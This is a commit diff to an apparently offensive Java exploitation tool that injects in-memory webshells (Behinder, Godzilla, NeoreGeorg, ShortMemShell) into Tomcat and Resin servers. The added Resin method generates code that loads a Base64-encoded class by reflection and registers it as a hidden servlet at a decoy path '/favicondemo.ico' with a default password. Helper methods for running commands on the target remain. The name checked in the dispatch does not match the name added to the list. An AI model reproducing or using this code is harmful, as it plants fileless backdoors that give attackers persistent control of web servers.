add ShortMemShell and resin middleware

src/main/java/io/github/exp1orer/StartUp.java

@@ -89,12 +89,15 @@ public class StartUp {
             String[] proxies = options.get("proxy").split(":", 2);
             proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(proxies[0], Integer.parseInt(proxies[1])));
         }
-        memoryShell.add("BehinderFilter");
-        memoryShell.add("BehinderServlet");
-        memoryShell.add("GodzillaFilter");
-        memoryShell.add("GodzillaServlet");
-        memoryShell.add("NeoreGeorgFilter");
-        memoryShell.add("NeoreGeorgServlet");
+        memoryShell.add("TomcatBehinderFilter");
+        memoryShell.add("TomcatBehinderServlet");
+        memoryShell.add("TomcatGodzillaFilter");
+        memoryShell.add("TomcatGodzillaServlet");
+        memoryShell.add("TomcatNeoreGeorgFilter");
+        memoryShell.add("TomcatNeoreGeorgServlet");
+        memoryShell.add("TomcatShortMemShellFilter");
+        memoryShell.add("TomcatShortMemShellServlet");
+        memoryShell.add("ResinShortMemShellServlet");
 
         try {
             Class.forName("io.github.exp1orer.util.Config");
@@ -283,7 +286,6 @@ public class StartUp {
      * @author: SearchNull
      */
     private static boolean checkCommandEcho() {
-        String line;
         String respContent;
         String uuid = UUID.randomUUID().toString();
         String command = "echo " + uuid;
@@ -338,7 +340,6 @@ public class StartUp {
      * @author: SearchNull
      */
     private static boolean runCommand(int index, String command) {
-        String line;
         String respContent;
         if (headers == null) {
             headers = new HashMap<String, String>();

src/main/java/io/github/exp1orer/util/MemoryShell.java

@@ -8,6 +8,7 @@ import java.util.Base64;
 
 public class MemoryShell {
     private static MemoryShell instance = new MemoryShell();
+    private static String className = "";
 
     private MemoryShell() {}
 
@@ -20,7 +21,11 @@ public class MemoryShell {
             return "";
         }
 
-        return instance.tomcatMemoryShell(name + ".class");
+        if ("ResinMemShellServlet".equals(name)) {
+            return instance.resinMemoryShell(name);
+        } else {
+            return instance.tomcatMemoryShell(name + ".class");
+        }
 
     }
 
@@ -90,6 +95,46 @@ public class MemoryShell {
         return code;
     }
 
+    private String resinMemoryShell(String name) {
+        String payload = renameClass("User", name + ".class");
+        String code = String.format("try {\n" +
+                "    Class si = Thread.currentThread().getContextClassLoader().loadClass(\"com.caucho.server.dispatch\" + \".ServletInvocation\");\n" +
+                "    java.lang.reflect.Method getContextRequest = si.getMethod(\"getContextRequest\");\n" +
+                "    javax.servlet.ServletRequest contextRequest = (javax.servlet.ServletRequest ) getContextRequest.invoke(null);\n" +
+                "    com.caucho.server.http.HttpServletRequestImpl req = (com.caucho.server.http.HttpServletRequestImpl ) contextRequest;\n" +
+                "    javax.servlet.http.HttpServletResponse rep = (javax.servlet.http.HttpServletResponse)  req.getServletResponse();" +
+                "    java.io.PrintWriter out = rep.getWriter();" +
+                "    javax.servlet.http.HttpSession session = req.getSession();\n" +
+                "    String path = req.getHeader(\"path\") != null ? req.getHeader(\"path\") : \"/favicondemo.ico\";\n" +
+                "    String pwd = req.getHeader(\"p\") != null ? req.getHeader(\"p\") : \"pass1024\";\n" +
+                "\n" +
+                "    java.lang.reflect.Method getServletContext = javax.servlet.ServletRequest.class.getMethod(\"getServletContext\");\n" +
+                "    Object web =getServletContext.invoke(contextRequest);\n" +
+                "\n" +
+                "    com.caucho.server.webapp.WebApp web1 = (com.caucho.server.webapp.WebApp ) web;\n" +
+                "\n" +
+                "    com.caucho.server.dispatch.ServletMapping smapping = new com.caucho.server.dispatch.ServletMapping();\n" +
+                "\n" +
+                "    String s1=\"%s\";" +
+                "    byte[] bytes1 = java.util.Base64.getDecoder().decode(s1.getBytes());\n" +
+                "\n" +
+                "    java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{String.class, byte[].class, int.class, int.class});\n" +
+                "    m.setAccessible(true);\n" +
+                "    m.setAccessible(true);\n" +
+                "    m.invoke(ClassLoader.getSystemClassLoader(), new Object[]{\"%s\", bytes1, 0, bytes1.length});\n" +
+                "    session.setAttribute(\"u\", pwd);\n" +
+                "    smapping.setServletClass(\"%s\");\n" +
+                "    smapping.setServletName(\"%s\");\n" +
+                "    smapping.addURLPattern(path);\n" +
+                "    web1.addServletMapping(smapping);\n" +
+                "    out.println(\"->|Success|<-\");" +
+                "} catch (Exception e) {\n" +
+                "    e.printStackTrace();\n" +
+                "}", payload, className, className, className);
+
+        return code;
+    }
+
     private String renameClass(String prefix, String resourceName) {
         String bytecodes = "";
         ClassPool pool = ClassPool.getDefault();
@@ -100,7 +145,8 @@ public class MemoryShell {
 
         try {
             CtClass ctClass = pool.makeClass(is);
-            ctClass.setName(prefix + System.nanoTime());
+            className = prefix + System.nanoTime();
+            ctClass.setName(className);
             byte[] bytes = ctClass.toBytecode();
             bytecodes = Base64.getEncoder().encodeToString(bytes);
         } catch (IOException | CannotCompileException e) {